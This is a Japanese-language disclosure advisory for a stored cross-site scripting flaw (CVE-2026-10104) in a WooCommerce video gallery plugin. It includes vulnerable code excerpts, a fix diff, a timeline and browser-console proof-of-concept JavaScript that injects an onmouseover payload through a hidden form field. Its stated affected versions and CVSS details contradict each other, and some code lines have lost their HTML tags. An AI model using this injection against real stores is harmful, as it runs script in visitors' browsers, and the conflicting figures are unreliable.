
Product Video Gallery for Woocommerce <= 1.5.1.8 - 認証済み保存型クロスサイトスクリプティングの概念実証
| 詳細 | 値 |
|---|---|
| CVE ID | CVE-2026-10104 |
| プラグイン | Product Video Gallery for WooCommerce |
| ベンダー | TechnoSoft Webs (NikHiL Gadhiya) |
| タイプ | 保存型クロスサイトスクリプティング (XSS) |
| CWE | CWE-79 — Webページ生成時の入力の中和不備 |
| CVSS 3.1 | 4.4 (Medium) |
| 影響を受けるバージョン | ≤ 1.5.1.6 |
| 修正バージョン | 1.5.1.9 |
| 認証必須 | はい — 投稿者以上 (商品を編集できるロール) |
| 発見者 | Ravindu Lakmina Munaweera |
WordPress用プラグイン Product Video Gallery for WooCommerce (バージョン 1.5.1.6 以下) は、custom_thumbnail 商品メタパラメータを介して 保存型クロスサイトスクリプティング (XSS) の脆弱性があります。
このプラグインの save_wc_video_url_field() メソッドは、custom_thumbnail[] POSTパラメータを sanitize_text_field() でサニタイズします。これによりHTMLタグは除去されますが、ダブルクォート (") 文字は除去されません。フロントエンドでは、nickx_get_video_thumbanil_html() 内で、保存された値が esc_attr() によるエスケープなしに `` タグの属性に直接挿入されます。これにより、認証された攻撃者が任意のHTMLイベントハンドラ属性 (例: onmouseover, onerror) を注入でき、影響を受ける商品ページを閲覧する すべての訪問者 (認証されていないユーザーを含む) のブラウザでJavaScriptが実行されます。
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
| メトリクス | 値 |
|---|---|
| 攻撃元区分 | ネットワーク |
| 攻撃複雑性 | 低 |
| 必要な特権レベル | 低 |
| ユーザー操作 | 不要 |
| 影響範囲 | 変更あり |
| 機密性への影響 | 低 |
| 完全性への影響 | 低 |
| 可用性への影響 | なし |
ファイル: public/class-rendering.php
メソッド: nickx_get_video_thumbanil_html()
// 行365 — esc_attr()なしで値が挿入される
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// 行379 — 公開フロントエンドの タグ内でレンダリング
echo '';
ファイル: admin/class-video-field.php
メソッド: save_wc_video_url_field()
// 行309-310 — sanitize_text_field() はタグを除去するが、ダブルクォートは除去しない
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
ショップマネージャー (攻撃者) としてログインします。
商品 → 編集 に移動し、「商品ビデオURL」フィールドに動画URLが設定されている商品を選びます。
ブラウザの開発者ツール (F12) → コンソール タブを開きます。
以下のJavaScriptを貼り付けて実行します。
const form = document.getElementById('post');
// サムネイルIDを空でない値に設定 (レンダリング条件で必要)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// custom_thumbnail を介してXSSペイロードを注入
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
「更新」 をクリックして商品を保存します。
フロントエンドで商品ページを シークレット/プライベートウィンドウ (非認証) で開きます。
商品ギャラリー内のビデオサムネイルに カーソルを合わせます。
✅ JavaScriptアラートが実行され、保存型XSSが確認されます。
注入された " が custom_thumbnail 属性を閉じ、onmouseover が `` 要素上で新たな実行可能な属性となります。
カスタムサムネイルの値をHTML属性に挿入する前に esc_attr() を適用します:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
この修正は、nickx_get_video_thumbanil_html() 内で $custom_thumbnail が構築されるすべての箇所 (配列および非配列のコードパスの両方) に適用する必要があります。
| 日付 | イベント |
|---|---|
| 2026-03-20 | 脆弱性を発見 |
| 2026-03-20 | Wordfence (CNA) に報告 |
| 2026-05-29 | CVE ID採番: CVE-2026-10104 |
| 2026-07-01 | 公開開示 |
このアドバイザリは CC BY 4.0 の下で公開されています。